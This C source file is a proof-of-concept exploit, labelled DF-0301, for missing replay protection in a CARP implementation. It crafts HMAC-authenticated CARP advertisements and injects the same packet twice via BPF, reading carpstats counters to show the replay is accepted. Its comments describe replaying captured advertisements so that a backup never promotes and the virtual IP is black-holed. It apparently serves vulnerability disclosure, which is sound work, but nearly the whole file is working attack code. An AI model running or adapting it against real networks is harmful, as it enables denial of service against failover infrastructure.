/*
 * DF-0301 PoC: CARP missing replay protection
 *
 * Demonstrates that carp_proto_input_c() accepts a CARP advertisement with
 * the SAME counter value multiple times -- there is no replay counter
 * comparison.  The code at ip_carp.c line 1148 has a literal TODO:
 *   "XXX Replay protection goes here"
 * and at line 1151 the counter is accepted unconditionally:
 *   sc->sc_counter = tmp_counter;
 *
 * Attack model: an attacker on the same L2 segment captures a valid CARP
 * multicast advertisement (dst 224.0.0.18) and replays it indefinitely.
 * After the legitimate master fails, the BACKUP keeps accepting the replayed
 * adv and resetting its master-down timer -- it never promotes, so the
 * virtual IP is black-holed (DoS).
 *
 * This PoC:
 *   1. Reads carpstats (carps_ipackets / carps_badauth) before injection.
 *   2. Crafts a valid CARP advertisement with a fixed counter value.
 *   3. Injects it via BPF on the parent interface (simulating wire rx).
 *   4. Reads carpstats again -- packet was ACCEPTED.
 *   5. Injects the SAME packet again (identical counter -- a replay).
 *   6. Reads carpstats again -- the replay was ALSO accepted.  With replay
 *      protection the second would have been rejected.
 *
 * Build:  cc -o carp_replay carp_replay.c
 * Run:    ./carp_replay <bpfdev> <parent_if> <vhid> <passphrase> <vip>
 *
 * Must be run as root (BPF access).  The threat model is a network attacker.
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

/* ---- minimal SHA-1 (FIPS 180-1) ---- */

typedef struct {
    uint32_t h[5];
    uint8_t  buf[64];
    uint64_t len;
    int      buflen;
} SHA1_CTX;

#define ROL(v, n) (((v) << (n)) | ((v) >> (32 - (n))))

static void
sha1_block(SHA1_CTX *ctx)
{
    static const uint32_t k[4] = {
        0x5A827999, 0x6ED9EBA1, 0x8F1BBCDC, 0xCA62C1D6
    };
    uint32_t w[80];
    int i;

    for (i = 0; i < 16; i++) {
        w[i] = ((uint32_t)ctx->buf[i*4] << 24) |
               ((uint32_t)ctx->buf[i*4+1] << 16) |
               ((uint32_t)ctx->buf[i*4+2] << 8) |
               ((uint32_t)ctx->buf[i*4+3]);
    }
    for (i = 16; i < 80; i++)
        w[i] = ROL(w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16], 1);

    uint32_t a = ctx->h[0], b = ctx->h[1], c = ctx->h[2];
    uint32_t d = ctx->h[3], e = ctx->h[4];

    for (i = 0; i < 80; i++) {
        uint32_t f, t;
        if (i < 20)
            f = (b & c) | ((~b) & d);
        else if (i < 40)
            f = b ^ c ^ d;
        else if (i < 60)
            f = (b & c) | (b & d) | (c & d);
        else
            f = b ^ c ^ d;
        t = ROL(a, 5) + f + e + k[i/20] + w[i];
        e = d; d = c; c = ROL(b, 30); b = a; a = t;
    }

    ctx->h[0] += a; ctx->h[1] += b; ctx->h[2] += c;
    ctx->h[3] += d; ctx->h[4] += e;
}

static void
SHA1_Init(SHA1_CTX *ctx)
{
    ctx->h[0] = 0x67452301; ctx->h[1] = 0xEFCDAB89;
    ctx->h[2] = 0x98BADCFE; ctx->h[3] = 0x10325476;
    ctx->h[4] = 0xC3D2E1F0;
    ctx->len = 0; ctx->buflen = 0;
}

static void
SHA1_Update(SHA1_CTX *ctx, const void *data, size_t sz)
{
    const uint8_t *p = data;
    ctx->len += sz;
    while (sz > 0) {
        int n = 64 - ctx->buflen;
        if (n > (int)sz) n = sz;
        memcpy(ctx->buf + ctx->buflen, p, n);
        ctx->buflen += n; p += n; sz -= n;
        if (ctx->buflen == 64) {
            sha1_block(ctx);
            ctx->buflen = 0;
        }
    }
}

static void
SHA1_Final(uint8_t md[20], SHA1_CTX *ctx)
{
    uint64_t bits = ctx->len * 8;
    ctx->buf[ctx->buflen++] = 0x80;
    if (ctx->buflen > 56) {
        while (ctx->buflen < 64) ctx->buf[ctx->buflen++] = 0;
        sha1_block(ctx);
        ctx->buflen = 0;
    }
    while (ctx->buflen < 56) ctx->buf[ctx->buflen++] = 0;
    for (int i = 7; i >= 0; i--)
        ctx->buf[ctx->buflen++] = (bits >> (i*8)) & 0xff;
    sha1_block(ctx);
    for (int i = 0; i < 5; i++) {
        md[i*4]   = (ctx->h[i] >> 24) & 0xff;
        md[i*4+1] = (ctx->h[i] >> 16) & 0xff;
        md[i*4+2] = (ctx->h[i] >> 8) & 0xff;
        md[i*4+3] = ctx->h[i] & 0xff;
    }
}

/* ---- CARP structures (from ip_carp.h, little-endian) ---- */

struct carp_header {
    uint8_t  carp_type:4, carp_version:4;
    uint8_t  carp_vhid;
    uint8_t  carp_advskew;
    uint8_t  carp_authlen;
    uint8_t  carp_pad1;
    uint8_t  carp_advbase;
    uint16_t carp_cksum;
    uint32_t carp_counter[2];
    uint8_t  carp_md[20];
} __packed;

#define CARP_VERSION       2
#define CARP_ADVERTISEMENT 1
#define CARP_KEY_LEN       20
#define CARP_HMAC_PAD      64

/* ---- CARP HMAC (mirrors carp_hmac_prepare + carp_hmac_generate) ---- */

static void
carp_hmac(const uint8_t key[CARP_KEY_LEN], uint8_t vhid,
          struct in_addr *vaddrs, int nvaddrs,
          uint32_t counter[2], uint8_t md[20])
{
    uint8_t pad[CARP_HMAC_PAD];
    uint8_t ipad[CARP_HMAC_PAD], opad[CARP_HMAC_PAD];
    SHA1_CTX ctx;
    uint8_t inner[20];
    uint8_t version = CARP_VERSION, type = CARP_ADVERTISEMENT;

    /* key → pad (zero-extend to 64) */
    memset(pad, 0, sizeof(pad));
    memcpy(pad, key, CARP_KEY_LEN);

    /* ipad / opad */
    for (int i = 0; i < CARP_HMAC_PAD; i++) {
        ipad[i] = pad[i] ^ 0x36;
        opad[i] = pad[i] ^ 0x5c;
    }

    /* inner = SHA1(ipad || version || type || vhid || vaddrs || counter) */
    SHA1_Init(&ctx);
    SHA1_Update(&ctx, ipad, CARP_HMAC_PAD);
    SHA1_Update(&ctx, &version, 1);
    SHA1_Update(&ctx, &type, 1);
    SHA1_Update(&ctx, &vhid, 1);
    for (int i = 0; i < nvaddrs; i++)
        SHA1_Update(&ctx, &vaddrs[i], sizeof(struct in_addr));
    SHA1_Update(&ctx, counter, 8);      /* 2 × uint32_t */
    SHA1_Final(inner, &ctx);

    /* hmac = SHA1(opad || inner) */
    SHA1_Init(&ctx);
    SHA1_Update(&ctx, opad, CARP_HMAC_PAD);
    SHA1_Update(&ctx, inner, 20);
    SHA1_Final(md, &ctx);
}

/* ---- one's-complement checksum (for IP and CARP headers) ---- */

static uint16_t
cksum(const void *data, int len)
{
    const uint8_t *p = data;
    uint32_t sum = 0;

    while (len > 1) {
        sum += (p[0] << 8) | p[1];
        p += 2; len -= 2;
    }
    if (len)
        sum += p[0] << 8;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return (~sum) & 0xffff;
}

/* ---- carpstats (for before/after comparison) ---- */

struct carpstats {
    uint64_t carps_ipackets;
    uint64_t carps_ipackets6;
    uint64_t carps_badif;
    uint64_t carps_badttl;
    uint64_t carps_hdrops;
    uint64_t carps_badsum;
    uint64_t carps_badver;
    uint64_t carps_badlen;
    uint64_t carps_badauth;
    uint64_t carps_badvhid;
    uint64_t carps_badaddrs;
    uint64_t carps_opackets;
    uint64_t carps_opackets6;
    uint64_t carps_onomem;
    uint64_t carps_ostates;
    uint64_t carps_preempt;
};

static int
read_carpstats(struct carpstats *cs)
{
    size_t sz = sizeof(*cs);
    if (sysctlbyname("net.inet.carp.stats", cs, &sz, NULL, 0) == -1)
        return (-1);
    return (0);
}

/* ---- build and inject a CARP advertisement ---- */

static int
build_carp_pkt(uint8_t *buf, const char *parent_if, uint8_t vhid,
               const uint8_t key[CARP_KEY_LEN], struct in_addr vip,
               uint64_t counter_val)
{
    uint8_t src_mac[6] = { 0x52, 0x54, 0x00, 0xaa, 0xbb, 0xcc };
    /* CARP unicast MAC for vhid: 00:00:5e:00:01:VV -- carp_forus matches this */
    uint8_t dst_mac[6] = { 0x00, 0x00, 0x5e, 0x00, 0x01, vhid };

    /* Ethernet header */
    struct ether_header *eh = (struct ether_header *)buf;
    memcpy(eh->ether_dhost, dst_mac, 6);
    memcpy(eh->ether_shost, src_mac, 6);
    eh->ether_type = htons(ETHERTYPE_IP);

    /* IP header */
    struct ip *iph = (struct ip *)(buf + sizeof(*eh));
    iph->ip_v = 4;
    iph->ip_hl = 5;
    iph->ip_tos = 0;
    iph->ip_len = htons(sizeof(struct ip) + sizeof(struct carp_header));
    iph->ip_id = 0;
    iph->ip_off = 0;
    iph->ip_ttl = 255;           /* CARP requires TTL 255 */
    iph->ip_p = 112;             /* CARP protocol */
    iph->ip_sum = 0;
    inet_pton(AF_INET, "10.0.2.50", &iph->ip_src);  /* fake master src */
    iph->ip_dst.s_addr = inet_addr("224.0.0.18");
    iph->ip_sum = cksum(iph, sizeof(struct ip));

    /* CARP header */
    struct carp_header *ch = (struct carp_header *)(buf + sizeof(*eh) + sizeof(struct ip));
    memset(ch, 0, sizeof(*ch));
    ch->carp_version = CARP_VERSION;
    ch->carp_type = CARP_ADVERTISEMENT;
    ch->carp_vhid = vhid;
    ch->carp_advskew = 0;       /* master: lowest skew */
    ch->carp_authlen = 7;       /* (counter 8B + md 20B) / 4 = 7 */
    ch->carp_pad1 = 0;
    ch->carp_advbase = 1;       /* 1-second interval */
    ch->carp_counter[0] = htonl((counter_val >> 32) & 0xffffffff);
    ch->carp_counter[1] = htonl(counter_val & 0xffffffff);

    /* Compute HMAC */
    uint32_t ctr[2];
    ctr[0] = ch->carp_counter[0];
    ctr[1] = ch->carp_counter[1];
    carp_hmac(key, vhid, &vip, 1, ctr, ch->carp_md);

    /* CARP checksum (over the CARP header only, cksum field = 0) */
    ch->carp_cksum = 0;
    ch->carp_cksum = cksum(ch, sizeof(*ch));

    return (sizeof(*eh) + sizeof(struct ip) + sizeof(*ch));
}

int
main(int argc, char **argv)
{
    if (argc != 6) {
        fprintf(stderr, "usage: %s <bpfdev> <parent_if> <vhid> <pass> <vip>\n",
                argv[0]);
        return (2);
    }
    const char *bpfdev = argv[1];
    const char *parent = argv[2];
    uint8_t vhid = (uint8_t)atoi(argv[3]);
    const char *pass = argv[4];
    struct in_addr vip;
    inet_pton(AF_INET, argv[5], &vip);

    /* Prepare key (raw bytes of passphrase, zero-padded to 20) */
    uint8_t key[CARP_KEY_LEN];
    memset(key, 0, sizeof(key));
    strncpy((char *)key, pass, CARP_KEY_LEN - 1);

    /* Open BPF */
    int fd = open(bpfdev, O_RDWR);
    if (fd < 0)
        err(1, "open %s", bpfdev);

    /* Bind to parent interface */
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, parent, IFNAMSIZ);
    if (ioctl(fd, BIOCSETIF, &ifr) < 0)
        err(1, "BIOCSETIF");

    /* Enable BIOCFEEDBACK so BPF write also injects the packet into the
     * interface's RX path (simulating a packet received from the wire).
     * Without this, BPF write only sends via if_output (TX). */
    int feedback = 1;
    if (ioctl(fd, BIOCFEEDBACK, &feedback) < 0)
        err(1, "BIOCFEEDBACK");

    /* Use the Ethernet header from the packet as-is (no ARP resolution). */
    int hdrcmplt = 1;
    if (ioctl(fd, BIOCSHDRCMPLT, &hdrcmplt) < 0)
        err(1, "BIOCSHDRCMPLT");

    /* Read required BPF buffer length */
    uint32_t bpf_buf_len = 0;
    ioctl(fd, BIOCGBLEN, &bpf_buf_len);
    if (bpf_buf_len < 256) bpf_buf_len = 4096;
    uint8_t *pkt = malloc(bpf_buf_len);
    if (!pkt) err(1, "malloc");

    printf("=== DF-0301: CARP Missing Replay Protection ===\n");
    printf("parent=%s vhid=%u vip=%s counter=42 (fixed)\n\n",
           parent, vhid, argv[5]);

    /* Baseline stats */
    struct carpstats before, after1, after2;
    if (read_carpstats(&before) < 0) {
        warn("sysctl carpstats (continuing without stats)");
        memset(&before, 0, sizeof(before));
    }
    printf("[before] ipackets=%llu badauth=%llu\n",
           (unsigned long long)before.carps_ipackets,
           (unsigned long long)before.carps_badauth);

    /* Build packet with counter = 42 */
    int pktlen = build_carp_pkt(pkt, parent, vhid, key, vip, 42);

    /* --- Injection 1 (the "captured" advertisement) --- */
    ssize_t n = write(fd, pkt, pktlen);
    printf("[inject 1] wrote %zd bytes (counter=42)  rc=%zd\n", pktlen, n);
    usleep(200000);

    if (read_carpstats(&after1) < 0)
        memset(&after1, 0, sizeof(after1));
    printf("[after 1] ipackets=%llu (+%llu)  badauth=%llu (+%llu)\n",
           (unsigned long long)after1.carps_ipackets,
           (unsigned long long)(after1.carps_ipackets - before.carps_ipackets),
           (unsigned long long)after1.carps_badauth,
           (unsigned long long)(after1.carps_badauth - before.carps_badauth));

    if (after1.carps_ipackets > before.carps_ipackets &&
        after1.carps_badauth == before.carps_badauth)
        printf(">>> PACKET 1 ACCEPTED (valid HMAC, counter stored)\n");
    else
        printf(">>> PACKET 1 NOT PROCESSED (check carp config / parent if)\n");

    /* --- Injection 2 (THE REPLAY — identical counter = 42) --- */
    n = write(fd, pkt, pktlen);
    printf("\n[inject 2] REPLAY: wrote %zd bytes (SAME counter=42)  rc=%zd\n",
           pktlen, n);
    usleep(200000);

    if (read_carpstats(&after2) < 0)
        memset(&after2, 0, sizeof(after2));
    printf("[after 2] ipackets=%llu (+%llu)  badauth=%llu (+%llu)\n",
           (unsigned long long)after2.carps_ipackets,
           (unsigned long long)(after2.carps_ipackets - after1.carps_ipackets),
           (unsigned long long)after2.carps_badauth,
           (unsigned long long)(after2.carps_badauth - after1.carps_badauth));

    if (after2.carps_ipackets > after1.carps_ipackets &&
        after2.carps_badauth == after1.carps_badauth) {
        printf(">>> REPLAY ACCEPTED — no replay protection!\n");
        printf(">>> With replay protection the second packet (same counter)\n");
        printf(">>> would have been rejected (carps_ipackets unchanged or\n");
        printf(">>> carps_badauth incremented).  Instead it was accepted.\n");
    } else if (after2.carps_ipackets == after1.carps_ipackets) {
        printf(">>> Replay rejected — replay protection may be present.\n");
    } else {
        printf(">>> Unexpected result (check manually).\n");
    }

    close(fd);
    free(pkt);
    return (0);
}
